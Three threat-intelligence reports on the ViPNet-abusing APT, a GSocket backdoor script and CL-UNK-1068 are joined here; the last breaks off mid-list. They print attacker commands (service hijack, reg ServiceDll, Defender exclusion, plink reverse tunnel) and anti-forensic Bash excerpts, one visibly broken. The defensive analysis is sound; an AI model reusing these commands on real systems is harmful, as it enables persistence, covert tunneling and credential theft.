putty

UPD 16.07.2026: Added rules to protect companies using our Kaspersky SIEM system, and listed events for developing custom detection rules or conducting threat hunting. UPD 16.07.2026: Added detection of the malicious activity using Kaspersky Managed Detection and Response. UPD 16.07.2026: Added detection rules and examples using KEDR Expert. UPD 16.07.2026: Added detection of the malicious campaign in network traffic using Kaspersky Anti Targeted Attack (KATA) with the NDR module. UPD 16.07.2026: Updated the list of Indicators of Compromise (IoCs) and TTPs. We discovered a new APT attack using previously unknown tooling, which started at least in May 2026 and remains active at the time of publication. It is notable in that the implants used during the attack were launched through the ViPNet update system (a software suite for creating secure networks). During our research, we identified attempts at targeted infection of large Russian organizations in the government, energy, transport, education, and logistics sectors, as well as industry. This is not the first time an advanced group has targeted computers connected to ViPNet networks. For example, last year, we discovered a complex backdoor mimicking ViPNet updates. Persistence via the update system On one of the analyzed systems, we identified a malicious file named wtsapi32.dll in the directory C:\Program Files (x86)\InfoTeCS\VIPNet Update System, which belongs to the ViPNet suite update system. By placing the file in this directory, the attackers implement the DLL Sideloading technique — the ViPNet update system executable file itcsrvup64.exe, which is launched at OS startup, is susceptible to it. Thus, during this attack, the attackers tried to implement persistence on the system through the ViPNet software update component. HelloInjector: a loader for additional malicious components The wtsapi32.dll component is a loader, which we named HelloInjector. Its main goal is to inject its code into the svchost.exe process and launch the malicious payload. After starting, the malware checks the process in the context of which it was launched. If the name of the main process is not svchost.exe, the loader starts iterating through all processes running in the operating system. It looks for a process whose name contains the string svchost, and whose command line contains the string netsvcs. If such a process is found, the loader injects itself into the target process using the NtWriteVirtualMemory and NtCreateThreadEx functions. After restarting inside the new process, the loader checks the process name again for the presence of the string svchost. Having confirmed the successful check, HelloInjector loads and executes the malicious payload, which is stored in its body in plain text, in memory. HelloProxy: a tool for traffic proxying and launching new malicious payloads The malicious payload, which we named HelloProxy, is simultaneously a hidden proxy and a loader for the following modules sent by the command server. It works by intercepting the NtDeviceIoControlFile, closesocket, and shutdown functions. Their interception is carried out using the Microsoft Detours library. The handlers of the closesocket and shutdown functions prevent the premature closing of sockets used for interaction with the C2. In turn, the handler of the NtDeviceIoControlFile function contains the main malicious logic. Its code implements the interception of two IOCTL codes: AFD_RECV (0x12017) AFD_GET_TDI_HANDLES (0x12037) These codes are used during socket operations — their interception allows the malware to hinder security solutions operating in user mode for filtering network connections. Kaspersky security solutions detect such activity and prevent infection attempts at all stages. The AFD_GET_TDI_HANDLES handler is responsible for socket registration, and the AFD_RECV handler initiates the processing of incoming traffic. It is worth noting that every incoming message that triggered the processing of the AFD_RECV code is logged to the file C:\users\public\tesh4RPC.txt in the format: After installing the interceptors, the malware starts listening on ports 5003 and 5060 in anticipation of the first commands from the C2 server. In order to distinguish the command server traffic from the rest of the traffic, the implant implements a handshake process: it sends two bytes 0x0502 through the socket and expects to receive a message containing the string ASDFASFSAFASDF. After the successful completion of the handshake, the processing of incoming commands continues. Depending on the received command, there are two execution branches: Working as a proxy. The malware accepts strings in the following format: Afterwards, it creates new sockets and starts forwarding traffic between them. Working as a loader. The malware accepts an executable file from the command server, after which it loads it into the memory of its own process and launches it in a separate thread. During the research, we managed to discover two malicious payloads that were injected into the svchost process, likely as a result of the previously described loader’s operation: An implant, which we named HelloExecutor, with the help of which attackers can execute commands on the infected system. A module for cleaning ViPNet software log files, which we named HelloCleaner. It allows hiding the attackers’ actions in the system. We established that the HelloExecutor backdoor was used for reconnaissance in the networks of infected organizations. The following shell commands were executed: In these commands, the mention of the directory C:\Users\Public\Music is notable. We established that on infected machines, the attackers used this directory when launching an SSH tunnel from the infected infrastructure to the attackers’ command server (5.39.253[.]206). The attackers launched a renamed executable file of the legitimate PuTTY utility (a client for various remote access protocols): HelloBackdoor: a Rust-based backdoor for file system manipulations In addition to this, a backdoor written in the Rust language, which we named HelloBackdoor, was discovered on one of the infected systems. It accepts connections on port 443, waiting for the string 47c6235b4d2611184 (the second half of the MD5 hash of the string hello\n) to activate the backdoor. This backdoor further accepts the following commands: !upload — upload a file to the infected machine !down — download a file from the infected machine !stop — stop the backdoor’s operation. For this, a BAT file is created and executed with the following content: If the command text did not match the above list, the command is executed using cmd.exe. Attribution During the analysis of one of the wtsapi32.dll file samples, we found an unused string: It refers to the news portal sina.com, which is popular in China. In addition, while analyzing the strings in the HelloBackdoor backdoor, we established that during compilation, Rust packages (crates) were downloaded from the mirror mirrors.ustc.edu.cn. Most likely, these strings remained in the malicious files unintentionally. However, the probability of using “false flags” implanted by attackers to complicate the attribution process cannot be excluded. At present, we link this campaign to the activities of an unknown Chinese-speaking APT group with a low degree of confidence. Recommendations Given that this is not the first time ViPNet has been used by advanced threat actor to conduct cyberattacks, we recommend paying special attention to the protection of workstations running this software. In particular, network traffic monitoring should be configured on the ports specified in the article for timely detection of signs of compromise. Countering complex targeted attacks requires a comprehensive approach that combines security technologies operating at various stages of the cyberattack lifecycle. Such a multi-level security model helps not only to detect but also to prevent this category of incidents. This approach is embedded in the architecture of the Kaspersky Next Expert range of solutions, designed to protect businesses from APT-level threats, including attacks similar to the one described in this article. Kaspersky solutions detect this threat with the following verdicts: Trojan.Win32.Agentb.ttoe Trojan.Win64.Convagent.gen Trojan.Win64.Agent.smgpqx HEUR:Trojan.Win64.DllHijacking.gen Detection by Kaspersky solutions Kaspersky security solutions, such as Kaspersky Endpoint Detection and Response Expert, successfully detect malicious activity within the described attacks. One practical method of detection is monitoring renamed PuTTY/Plink binaries rather than relying on the file name: even if the executable is named frontpage.exe, its PE header, version, strings, and hash match the original Plink, which is confirmed by EDR events. Additionally, it is worth paying attention to the specific command line with which the process was launched. The KEDR Expert solution detects this activity using the using_plink_or_putty_for_port_forwarding rule. It is also important to monitor process injection into svchost.exe originating from the ViPNet update process itcsrvup64.exe, since this component should not legitimately inject code into system processes. Such behavior is a characteristic indicator of HelloInjector activity, which uses a trusted and signed process to mask malicious injection. The KEDR Expert solution detects this activity using the vipnet_load_library_code_injection rule. Another effective way to detect malicious activity associated with ViPNet is monitoring network traffic. The Kaspersky Anti Targeted Attack (KATA) solution with the NDR module detects this activity using the IDS module and a Suricata rule for HelloBackdoor activity. The rule is implemented based on the first packet expected by the malware. It accepts TCP connections on port 443, expecting to receive the command 47c6235b4d2611184 (part of the MD5 hash of the string hello\n), which activates the backdoor. The Kaspersky Managed Detection and Response service detects this attack using the following indicators: Monitoring the creation of the wtsapi32.dll library in the C:\Program Files (x86)\InfoTeCS\VIPNet Update System directory. Monitoring the launch of unusual processes (not typical of ViPNet, lacking an InfoTeCS signature) by the ViPNet update process (Itcsrvup64.exe orItcsrvup.exe ). Creation of library files (.dll) in a directory associated with ViPNet (by default, ViPNet Update System or VIPNET CLIENT) by ViPNet processes. Atypical activity (file creation/process execution) from an instance of the svchost.exe process. Creation of executable files in directories that are writable by default (%ProgramData% ,%TEMP% ,%SystemRoot%\Temp , C:\Users\Public, music|pictures|videos|contacts|links|libraries). Monitoring the creation of tunnels using ssh or plink processes (identification is performed based on the original PE file name, not the executable file name); the detection is based on the presence of substrings like port:address:port and their variations in the command line. To protect companies using our Kaspersky SIEM system, the product repository contains rules that help detect such malicious activity. Reconnaissance of users and groups, as well as network connections using standard Windows utilities, is detected by the following rules: R220_02_Collection of user account information using standard Windows tools R221_01_Windows group discovery via Windows tools R224_02_Remote system discovery via standard Windows tools R224_14_Windows reconnaissance activity R226_02_Collection of information about network connections using standard Windows tools Also, when developing your own detection rules or conducting threat hunting, we recommend paying attention to the following events: Creation of suspicious files in the ViPNet update directory C:\Program Files (x86)\InfoTeCS\VIPNet Update System: Persistence using the DLL Sideloading technique by loading the wtsapi32.dll library into ViPNet update processesItcsrvup64.exe orItcsrvup.exe with an invalid signature (Signed not true, SignatureStatus not valid) or a signature that does not contain InfoTeCS vendor details: Launching non-standard processes from the ViPNet update processes Itcsrvup64.exe orItcsrvup.exe : Launching the ViPNet update processes Itcsrvup64.exe orItcsrvup.exe with an invalid signature (Signed not true, SignatureStatus not valid) or a signature that does not contain InfoTeCS vendor details: Atypical reconnaissance execution from the svchost.exe process: Creation of tunnels using renamed ssh or plink processes: For correct functioning of detection rules and threat hunting, it is necessary to ensure that events from Windows systems are received by the Kaspersky SIEM system in full, including events with the following identifiers: Sysmon 1, 7, 11, as well as Security 4688, 4663. Indicators of Compromise HelloBackdoor 16C211C96735F2FAE9361B89BD7A31BF 1BFE2B9493128574907A8279256A8BCC f9eed2f0158dc98e7012fb809152209c HelloBackdoor Droppers: 6001829A128FE264B4403138700C11A8 – infotecs\vipnet client\puh.exe EE4FF46DDD8489E81447962F927BC3F6 – infotecs\vipnet client\store.exe Utility for adding exclusions to Windows Defender: 41c938b3cd7e55d4077e34976929b140 wtsapi32.dll B103CD21280B4061F88B2BCC51394894 9F5606A0755BC633B9BD7DB6D179C09E 0CFDFFC56F0FA325D0C4D24780B46597 5.39.253[.]206 176.32.34[.]135 Detected TTPs: T1569.002 — System Services: Service Execution "cmd" /c sc start UrBackupClientBackend T1016 — System Network Configuration Discovery "cmd" /c arp -a "cmd" /c routeprint T1049 — System Network Connections Discovery "cmd" /c netstat -ano T1018 — Remote System Discovery "cmd" /c ping mail.ru -n 2 T1082 — System Information Discovery "cmd" /c systeminfo T1057 — Process Discovery "cmd" /c tasklist T1007 — System Service Discovery "cmd" /c sc query UrBackupClientBackend T1083 — File and Directory Discovery "cmd" /c dir temp*.tmp "cmd" /c dir $temp\*.tmp "cmd" /c dir amgmt* "cmd" /c dir $user\desktop\mRemoteNG-Portable-1.76.20.24669 "cmd" /c dir $public\libraries\ "cmd" /c dir d:\WindowsImageBackup T1005 — Data from Local System "cmd" /c type $temp\TS_E9E3.tmp "cmd" /c type $temp\Acr6F3D.tmp T1074.001 — Local Data Staging "cmd" /c copy appdata\infotecs\*\APN000B.txt $public\libraries\ T1070.004 — Indicator Removal: File Deletion "cmd" /c del $windir\amgmt.dll "cmd" /c del $public\libraries\APN000B.txt T1543.003 — Create or Modify System Process: Windows Service sc stop AppMgmt sc delete AppMgmt sc create AppMgmt binpath= "system32\svchost.exe -k netsvcs" type= share start= auto displayname= "Application Management" sc description AppMgmt "Processes installation, removal, and enumeration requests for software deployed through Group Policy. If the service is disabled, users will be unable to install, remove, or enumerate software deployed through Group Policy. If this service is disabled, any services that explicitly depend on it will fail to start." sc failure AppMgmt reset= 0 actions= restart/0 T1112 — Modify Registry reg add HKLM\SYSTEM\CurrentControlSet\Services\AppMgmt\Parameters /v ServiceDll /t REG_EXPAND_SZ /d $system32\$selfname.dll reg add HKLM\SYSTEM\CurrentControlSet\Services\AppMgmt\Parameters /v ServiceMain /t REG_SZ /d ServiceMain T1036 — Masquerading (service, description, and DLL masquerade as the legitimate Application Management) "cmd" /c copy $windir\amgmt* $system32\ T1059.003 — Execution of auxiliary scripts "cmd" /c $windir\amgmt.bat "cmd" /c $windir\insru.cmd T1105 — Ingress Tool Transfer "cmd" /c $programfiles\7-zip\7z.exe x $windir\Irsoisas.zip -o"$windir T1562.001 — Impair Defenses: Disable or Modify Tools "cmd" /c \$windir\puh.exe add $windir\autoit3.exe white T1059 / T1218 — Proxy execution via AutoIt "cmd" /c \$windir\autoit3.exe \$windir\data.dat T1572 — Protocol Tunneling / T1090 — Proxy / T1021.004 — Remote Services: SSH c:\users\[username]\libraries\pagent.exe -C -N -R 6443:[redacted] [email protected] -P 48022 -pw [redacted]

Yesterday, I discovered a malicious Bash script that installs a GSocket backdoor on the victim’s computer. I don’t know the source of the script not how it is delivered to the victim. GSocket[1] is a networking tool, but also a relay infrastructure, that enables direct, peer-to-peer–style communication between systems using a shared secret instead of IP addresses or open ports. It works by having both sides connect outbound to a global relay network. Tools like gs-netcat can provide remote shells, file transfer, or tunneling and bypass classic security controls. The script that I found uses a copy of gs-netcat but the way it implements persistence and anti-forensic techniques deserves a review. A few weeks ago, I found a sample that used GSocket connectivity as a C2 channel. It makes me curious and I started to hunt for more samples. Bingo! The new one that I found (SHA256:6ce69f0a0db6c5e1479d2b05fb361846957f5ad8170f5e43c7d66928a43f3286[2]) has been detected by only 17 antivirus solutions on VT. The script is not obfuscated and even has comments so I think that it was uploaded on VT for "testing" purposes by the developper (just a guess) Let’s have a look at the techniques used. When you execute it in a sandbox, you see this: Note the identification of the tool ("G-Socket Bypass Stealth") and the reference to "@bboscat"[3] A GSocket client is downloaded, started and is talking to the following IP: The malware implements persistence through different well-known techniques on Linux. First, a cron job is created: Every top-hour, the disguised gs-netcat will be killed (if running) and restarted. To improve persistence, the same code is added to the victim's .profile: The malware itself is copied in .ssh/putty and the GSocket shared secret stored in a fake SSH key file: The ELF file id_rsa (SHA256: d94f75a70b5cabaf786ac57177ed841732e62bdcc9a29e06e5b41d9be567bcfa) is the gs-netcat tool downloaded directly from the G-Socket CDN. Ok, let’s have a look at an interesting anti-forensic technique implemented in the Bash script. File operations are not simply performed using classic commands like cp, rm, mv, etc. They are embedded in “helper” functions with a timestamp tracking/restoration system so the malware can later hide filesystem changes. Here is an example with a function that will create a file: mk_file() { local fn local oldest local pdir local pdir_added fn="$1" local exists # DEBUGF "${CC}MK_FILE($fn)${CN}" pdir="$(dirname "$fn")" [[ -e "$fn" ]] && exists=1 ts_is_marked "$pdir" || { # HERE: Parent not tracked _ts_add "$pdir" " " pdir_added=1 } ts_is_marked "$fn" || { # HERE: Not yet tracked _ts_get_ts "$fn" # Do not add creation fails. touch "$fn" 2>/dev/null || { # HERE: Permission denied [[ -n "$pdir_added" ]] && { # Remove pdir if it was added above # Bash ") return } touch "$fn" 2>/dev/null || return [[ -z $exists ]] && chmod 600 "$fn" true } Here are also two interesting function: Restore timestamp of files ts_restore() { local fn local n local ts [[ ${#_ts_fn_a[@]} -ne ${#_ts_ts_a[@]} ]] && { echo >&2 "Ooops"; return; } n=0 while :; do [[ $n -eq "${#_ts_fn_a[@]}" ]] && break ts="${_ts_ts_a[$n]}" fn="${_ts_fn_a[$n]}" # DEBUGF "RESTORE-TS ${fn} ${ts}" ((n++)) _ts_fix "$fn" "$ts" done unset _ts_fn_a unset _ts_ts_a n=0 while :; do [[ $n -eq "${#_ts_systemd_ts_a[@]}" ]] && break ts="${_ts_systemd_ts_a[$n]}" fn="${_ts_systemd_fn_a[$n]}" # DEBUGF "RESTORE-LAST-TS ${fn} ${ts}" ((n++)) _ts_fix "$fn" "$ts" "symlink" done unset _ts_systemd_fn_a unset _ts_systemd_ts_a } ts_is_marked() { local fn local a fn="$1" for a in "${_ts_fn_a[@]}"; do [[ "$a" = "$fn" ]] && return 0 # True done return 1 # False } ts_is_marked() checks whether a file/directory is already registered for timestamp restoration, preventing duplicate tracking and ensuring the script’s anti-forensic timestamp manipulation works correctly. I asked ChatGPT to generate a graph that explains this technique: Finally, because it’s fully based on Bash, the script will infect all UNIX flavors, MacOS included: [[ -z "$OSTYPE" ]] && { local osname osname="$(uname -s)" if [[ "$osname" == *FreeBSD* ]]; then OSTYPE="FreeBSD" elif [[ "$osname" == *Darwin* ]]; then OSTYPE="darwin22.0" elif [[ "$osname" == *OpenBSD* ]]; then OSTYPE="openbsd7.3" elif [[ "$osname" == *Linux* ]]; then OSTYPE="linux-gnu" fi } [1] https://www.gsocket.io [2] https://www.virustotal.com/gui/file/6ce69f0a0db6c5e1479d2b05fb361846957f5ad8170f5e43c7d66928a43f3286/telemetry ???????[3] https://zone-xsec.com/archive/attacker/%40bboscat Xavier Mertens (@xme) Xameco Senior ISC Handler - Freelance Cyber Security Consultant PGP Key

Since at least 2020, we have observed a cluster of activity targeting high-value organizations across South, Southeast and East Asia. The attacks focus on critical sectors such as aviation, energy, government, law enforcement, pharmaceutical, technology and telecommunications. Unit 42 is tracking this ongoing, previously undocumented activity as CL-UNK-1068. We designate the term UNK to clusters of activity whose affiliation with either nation-state or cybercrime activity we have not yet determined. We assess with high confidence that the attackers behind CL-UNK-1068 are a Chinese threat actor. This assessment is based on the origin of their tools, linguistic artifacts in configuration files, and their consistent, longstanding targeting of critical infrastructure in Asia. We assess with moderate-to-high confidence that the primary objective of the attackers is cyberespionage, although we cannot fully rule out the possibility of cybercriminal motivation at this time. Through a long period of close observation, we identified the specific tools and techniques that define this group. Our attribution of this activity to CL-UNK-1068 is done in accordance with Unit 42’s attribution framework. We provide a detailed analysis of the attack patterns and methods that we identified in our investigation into this cluster of activity. Palo Alto Networks customers are better protected from the threats described through the following products and services: Advanced URL Filtering and Advanced DNS Security Next-Generation Firewall (NGFW) with Advanced Threat Prevention Advanced WildFire Cortex XDR and XSIAM If you think you might have been compromised or have an urgent matter, contact the Unit 42 Incident Response team. We provide a detailed analysis of the tool set deployed by the attackers behind CL-UNK-1068 across different intrusion campaigns since 2020. While these attacks demonstrate a consistent set of techniques and procedures (TTPs), it is important to note that not every tool was used in every observed intrusion. Our analysis reveals a multi-faceted tool set that includes custom malware, modified open-source utilities and living-off-the-land binaries (LOLBINs). These provide a simple, effective way for the attackers to maintain a persistent presence within targeted environments. The CL-UNK-1068 activity cluster is characterized by cross-platform cyber capabilities, maintaining a diverse set of tools for both Windows and Linux environments. Their TTPs rely heavily on open-source utilities and malware variants popular with Chinese-speaking users, including GodZilla, AntSword, Xnote and Fast Reverse Proxy (FRP). One of the techniques we observed in these attacks is the use of legitimate Python executables to launch DLL side-loading attacks. This approach enables the attackers to stealthily load additional payloads. The initial access to environments targeted in CL-UNK-1068 activity is achieved by deploying and utilizing various web shells. We observed the attackers deploying the GodZilla web shell, and a variation of AntSword, both of which are written in a combination of English and Simplified Chinese. After gaining an initial foothold, the attackers use these web shells to move laterally to additional hosts and SQL servers. Figure 1 shows an alert that was triggered when an attacker attempted to exploit a Linux server. After gaining access to targeted environments, the attackers attempt to steal the following files from the c:\inetpub\wwwroot directory of a Windows web server: web.config .aspx .asmx .asax .dll The attackers could use this stolen information to extract credentials for lateral movement, or to discover vulnerabilities in the website's code. The alert in Figure 2 shows that the attackers archived the stolen files under the names web.rar, web1.rar and web2.rar. After moving to additional servers, the attackers continued to steal files related to the website’s configuration, such as .json files from the c:\inetpub\wwwroot directory, including the appsettings.json file. In multiple instances, the attackers used a simple but effective approach to exfiltrate files: Using WinRAR to archive the relevant files. Executing the certutil -encode command to Base64-encode the .rar archives. Executing the type command to print the Base64 content to their screen through the web shell. By encoding the archives as text and printing them to their screen, the attackers were able to exfiltrate data without actually uploading any files. The attackers likely chose this method because the shell on the host allowed them to run commands and view output, but not to directly transfer files. Figure 3 shows the alert triggered by the data exfiltration activity. In addition to stealing configuration files, the attackers stole other types of sensitive data: Browser history and web browser bookmarks Sensitive XLSX and CSV files from desktops and USER directories .bak files from MSSQL servers (database backup files) In certain instances, the attackers deployed usql, a universal command-line interface for multiple databases. The use of this interface may indicate that one of the goals of CL-UNK-1068 activity is to extract data directly from SQL servers. We analyzed the most noteworthy tools and utilities that the attackers behind CL-UNK-1068 used across multiple intrusion campaigns since 2020. A detailed analysis of additional tools and utilities used during this activity is provided in Appendix B. In attacks that we observed, the attackers behind CL-UNK-1068 frequently used DLL side-loading to execute their tool set. They deployed a legitimate Python programming language executable like python.exe or pythonw.exe alongside a malicious side-loaded DLL that served as a loader, using a name like python20.dll. The attackers also dropped an obfuscated shellcode file with a similar name, to match the legitimate executable naming convention (e.g., python or pythonw). When the legitimate python.exe is executed, it side-loads a malicious loader named python20.dll. The malicious loader reads the obfuscated shellcode, deobfuscates it in memory, and then executes it within the memory space of the legitimate Python process. The shellcode then decrypts and executes the payload in memory. The attackers used this technique to load and execute several tools as payloads, including FRP, PrintSpoofer and a custom scanner that they named ScanPortPlus. Figure 4 shows the legitimate python.exe process used to read shellcode from a file named python and execute a decrypted payload for ScanPortPlus in memory. The attackers behind CL-UNK-1068 scanned compromised networks using a custom scanner that they internally named ScanPortPlus. This custom tool is written in Go, and the threat actor compiled versions for both Windows and Linux systems. Figure 5 shows the command-line options of ScanPortPlus, which include IP address, port and vulnerability scanning. In some of the events that we observed, the attackers deployed FRP, to establish persistent access while bypassing firewalls. The attackers used versions of their own custom-compiled FRP for Windows and Linux systems, including a custom FRP that had several unique identifiers: Unique authentication token: Attackers used the authentication token frpforzhangwei (“frp for zhang wei”). Zhang Wei is a common Chinese name. Proxy naming convention: The proxy names appear to have a consistent naming convention across the versions: - Windows: 10014-win-nic-32-v - Linux: - 20012-linux-64-V - 10013-linux-64-V Unique common password: The password for the FRP is the same in all samples that the threat actor used: f*ckroot123 (profanity masked). Figure 6 highlights the identifiers that we discovered in the FRP samples. In some instances, the attackers behind CL-UNK-1068 deployed the Xnote malware on Linux servers. First discovered in 2015, Xnote is a Linux backdoor that various Chinese threat actors previously used. Xnote has several variants, each with slightly different functionality. The Xnote used by CL-UNK-1068 primarily provides distributed denial-of-service (DDoS) attack capabilities, in addition to other commands. Table 1 lists some of the capabilities of this Xnote variant. Table 1. Xnote task names and functions. Our observations reveal that in 2020, the attackers deployed a custom tool named SuperDump for reconnaissance. In the years following, we saw that the attackers transitioned to a new method of using batch scripts for reconnaissance purposes. In intrusions dating back to 2020, the attackers behind CL-UNK-1068 attempted to use a custom .NET tool that they named SuperDump. The tool’s purpose is to collect information from Windows hosts, such as: User information Host information: IP address, running processes, system information, drive information Files from desktop and document folders Installed programs Local Security Authority Subsystem Service (LSASS) process dump content Registry information: - Navicat configuration (database management tool) - WinSCP configuration - RDP configuration - Internet Explorer settings - Environment variables - PuTTY configuration - FileZila data - NetSarang Xmanager data (remote desktop software) - SSH data - PowerShell history - Microsoft\Windows\Recent registry key (recent programs) Figure 7 shows the functions in SuperDump’s code that gather information. We discovered that the use of SuperDump was later replaced by batch script files called hpp.bat and hp.bat, which also collect host information. The functionality of these batch files is detailed in the following section. In more recently observed cases, after successfully compromising an endpoint, the attackers initiate the reconnaissance phase. This involves deploying custom batch scripts to gather initial host telemetry and map the local environment. The specific naming conventions for both scripts and output files constitute a unique signature that we observed across multiple attacks over several years. We observed that in several instances, the attackers executed a batch script named hp.bat or hpp.bat, and on one occasion, a.bat. Each of these batch scripts executed multiple commands and saved the results in matching .txt files. The attackers utilized these scripts to perform host reconnaissance, gather telemetry on the local system and map other potential servers in the environment. For a detailed analysis of the scripts, output filenames and executed commands, see Appendix B. After all the output files were written to disk, attackers executed an additional rar.bat/rr.bat batch script that was responsible for archiving the result files using commands such as: rar.exe a -df host.rar *.txt rar a -df host.rar *.txt *.db rar a -df host.rar *.txt *.db *hist* *book* This section provides a comprehensive description of the various tools and methods utilized in CL-UNK-1068 activity to execute credential theft. The attackers used Mimikatz to dump passwords from memory, and a dumping tool named LsaRecorder, as Figure 8 shows. The LsaRecorder tool captures login passwords by hooking the LsaApLogonUserEx2 callback function. The LsaRecorder tool was shared on the Chinese security forum called Kanxue in 2019. Figure 9 shows the LsaRecorder command-line options, which include the ability to record a user’s logon password. The attackers behind CL-UNK-1068 attempted to use DumpIt, a free multiplatform forensics tool, in combination with the widely known Volatility framework to extract password hashes from memory. As shown in Figure 10, they used DumpIt to dump the victim machine's memory. Next, they used several Volatility modules: windows.hashdump: Extracts local user account NTLM password hashes from the SAM registry hive windows.registry.lsadump.Lsadump: Dumps LSA Secrets such as service account passwords, cached domain credentials windows.registry.cachedump.Cachedump: Dumps cached domain credentials In addition, in some instances the attackers executed DumpIt and Volatility, using batch scripts named dmp.bat and vo.bat. The sqlstudio.bin file stores saved connection info for Microsoft SQL Server Management Studio (SSMS). Attackers attempted to extract data from this file using a tool named SQL Server Management Studio Password Export Tool, deployed as ssms.exe. This tool was published on a Chinese security blog in 2015. The attackers ran the tool locally and attempted to exfiltrate the sqlstudio.bin file. They used the certutil -encode command to Base64-encode the file, and the type command to read the encoded file. Figure 11 shows this sequence of events. We assess with high confidence that CL-UNK-1068 represents activity from a threat group that communicates in Chinese. The group behind this activity cluster has been targeting high-value sectors across South, Southeast and East Asia since at least 2020. Using primarily open-source tools, community-shared malware and batch scripts, the group has successfully maintained stealthy operations while infiltrating critical organizations. This cluster of activity demonstrates versatility by operating across both Windows and Linux environments, using different versions of their tool set for each operating system. While the focus on credential theft and sensitive data exfiltration from critical infrastructure and government sectors strongly suggests an espionage motive, we cannot yet fully rule out cybercriminal intentions. We advise defenders to move beyond static indicators and focus on behavioral anomalies. Detection logic should be tuned to identify any hallmark techniques. In the case of CL-UNK-1068 activity, signs to detect include: Misuse of legitimate Python binaries for side-loading Deployment of unauthorized tunneling tools like FRP Execution of custom reconnaissance batch scripts Palo Alto Networks customers are better protected from the threats discussed above through the following products and services: Cortex Xpanse has the ability to identify exposed VMWare vCenter Server devices on the public internet and escalate these findings to defenders. Customers can enable alerting on this risk by ensuring that they’ve enabled the VMware vCenter Attack Surface Rule. Identified findings can be viewed in the incident view of Expander. These findings are also available for Cortex XSIAM customers who have purchased the ASM module. The Forensics feature of Cortex XDR enables analysts to perform forensic analysis by collecting all necessary artifacts and displaying them in an intuitive forensics console. This feature also enables in-depth analysis of specific endpoints, to fully understand the activities that occurred. Supported forensic artifacts include environment variables, command history, session history, network connections and file listing. Figure 12 shows the command history of a CL-UNK-1068 interactive attack on a Linux server. The new Cortex XDR Analytics Engine enhances behavioral detection for Linux through two key mechanisms: Uncommon Linux process communication to a rare external host: This detector flags command-and-control (C2) initiation. Tailored for Linux, it identifies low-prevalence or recurring outbound patterns that are used by advanced threats to maintain network connections. Uncommon attempt to discover a sensitive file: This detector identifies credential theft attempts, such as unauthorized access to /etc/hosts and /etc/ssl/private/.*. This exposes misused utilities and threat actor activity targeting user secrets. Figure 13 displays an “Uncommon attempt” alert that CL-UNK-1068 activity triggered. Other Palo Alto Networks products and services that can help include: Advanced URL Filtering and Advanced DNS Security identify known domains and URLs associated with this activity as malicious. Next-Generation Firewall with the Advanced Threat Prevention security subscription can help block the attacks with best practices via the following Threat Prevention signature/s 94655, 91671, 91662, 86680, 81881, 81819, 81815, 81816, 81817, 81803 The Advanced WildFire machine-learning models and analysis techniques have been reviewed and updated in light of the indicators shared in this research. Cortex XSIAM incorporates all Cortex XDR features, as well as additional protections. If you think you may have been compromised or have an urgent matter, get in touch with the Unit 42 Incident Response team or call: North America: Toll Free: +1 (866) 486-4842 (866.4.UNIT42) UK: +44.20.3743.3660 Europe and Middle East: +31.20.299.3130 Asia: +65.6983.8730 Japan: +81.50.1790.0200 Australia: +61.2.4062.7950 India: 000 800 050 45107 Palo Alto Networks has shared these findings with our fellow Cyber Threat Alliance (CTA) members. CTA members use this intelligence to rapidly deploy protections to their customers and to systematically disrupt malicious cyber actors. Learn more about the Cyber Threat Alliance. SHA256 hashes for shellcode loader (m.exe/l.exe) 524734501be19e9ed1bfab304b0622a2263a4f9e3db0971f3fae93f7e7369c20 SHA256 hashes for Mimikatz shellcode binary (m.bin) 26483f0886078cc9f5f9912d3ffce1301e297b435920ab1c86c9107bbdce4db2 99bd09e1c500866b2b809fd9170f1b8b7e120da21a1f2eed6165fcf81bf519b7 SHA256 hashes for LsaRecorder (ls.exe) 8a3345f0d8f1a7d78ea485ae11358cf2ae3d51cb7975524d6d67ba05a08a37ea SHA256 hashes for shellcode loader DLL (python20.dll) 6ddbfd3a96834087501f0c9415a925cafdb92cb8ff34685f138833b4795416d6 3b2b6a3ee023dfa168f257b292a28f5fbdbacb5aa2250e1efb36e650529db1b5 cfdcbc553bc7464aedfb6758b0a38acc78d9537eabe9717e60ab0d8d3b355225 SHA256 hashes for web shells d8378cf105146217e6ded438187c4ea0edcadb6cf27f5eeddda3fd80cce76d72 5c986203242e2ed25458b0606ee7be57070f6d66b7472b453d92b1b6786443bd cfcbb3014ecc560ba36103213b36fc62d6b0ef22c49067ff0d860fd7253a7c94 fb9400d763a009b3bd2b9468410e0c69ee8a4f58400e532f086cef749422210d SHA256 hashes for SQL Server Management Studio Password Export Tool (ssms.exe) c880936ba0ca153719c2cca33c1925a9480d28abc88cf4daa02f34cc8cc1c9e5 SHA256 hashes for ScanPortPlus: Windows version (sp.exe) d6ed94589b0e6a7c3e1a6052e18f3962ca78c385c78036972d5ea72c07a5772c 3e698c85660e2c012b3db7f47ca3f2b1af2b6b0e0a0d2bdb7903f91cf9d31732 0d03934eb181c2befbc5341208c4eb8f939e00382ac632216397b8210225c937 SHA256 hashes for ScanPortPlus: Linux version (sp/spp) 8d3907d56b1dd1609053cb55dd66f33499e1ea091133df76d8fe6f08f25f37b2 SHA256 hashes for FRP: Windows version (32.exe) 082a55731f972cd15e103104229a68175a8c59a52bae05daa8ed4302df7c2dec SHA256 hashes for FRP: Linux version (nginx/httpd) e1ff808321ce952384b7fff720584c48ec0fd36480d6bc9ac0d5db036102c368 cdb90179188a142d24147edcb72be8b574fac4f6833fff15a6ee803754dec0c0 f6ac9e5e76bc9daf4772c5be43c9eac1d2611caafd49fac70bbb8eebfa4781ac SHA256 hashes for CVE-2023-34048 Python Executable (vc.exe) 96f52e4666aa8df67f8d7d00a523cd25e11402108157156775603b3d9514925c e9541e8afa502e13c18734756270b10e3c07f1071283387e63c8f8b0ba591343 SHA256 hashes for srunas.exe (srunas.exe) f7c73b1ac9aff545b184ec7121f2bc706c5064dc3c17f59e9a39469031bf2ef6 SHA256 hashes for Xnote (80/iptable6) b87cee18720c176c1972cf5c74e3c09877177e0c49c34a04b910bb3c70839b71 f710dc61c2edc85841fd733a17b7977dfb889d6476c59bb3c54a5b2fd393ac13 SHA256 hashes for SuperDump (super.exe/superdump.exe) edc0287da3c6bb62a7b2fd3949be5688628fc0e893b5822bd5734a63c39f7ab1 0c7db12ec29f333bf5f53dc5c73ec446b2265fca3aad5144c3569409e15123cb SHA256 hashes for PwnKit (PwnKit.so) 8af434c2af2d901694cb27ec8639e7054f84938110a5cc4492c1bac597026d50 SHA256 hashes for PrintProgram ce20c033dcadf17d9cca325869f946efdd82ab0756fa56e262b6f573252d457c SHA256 hashes for Sliver (agent.exe) 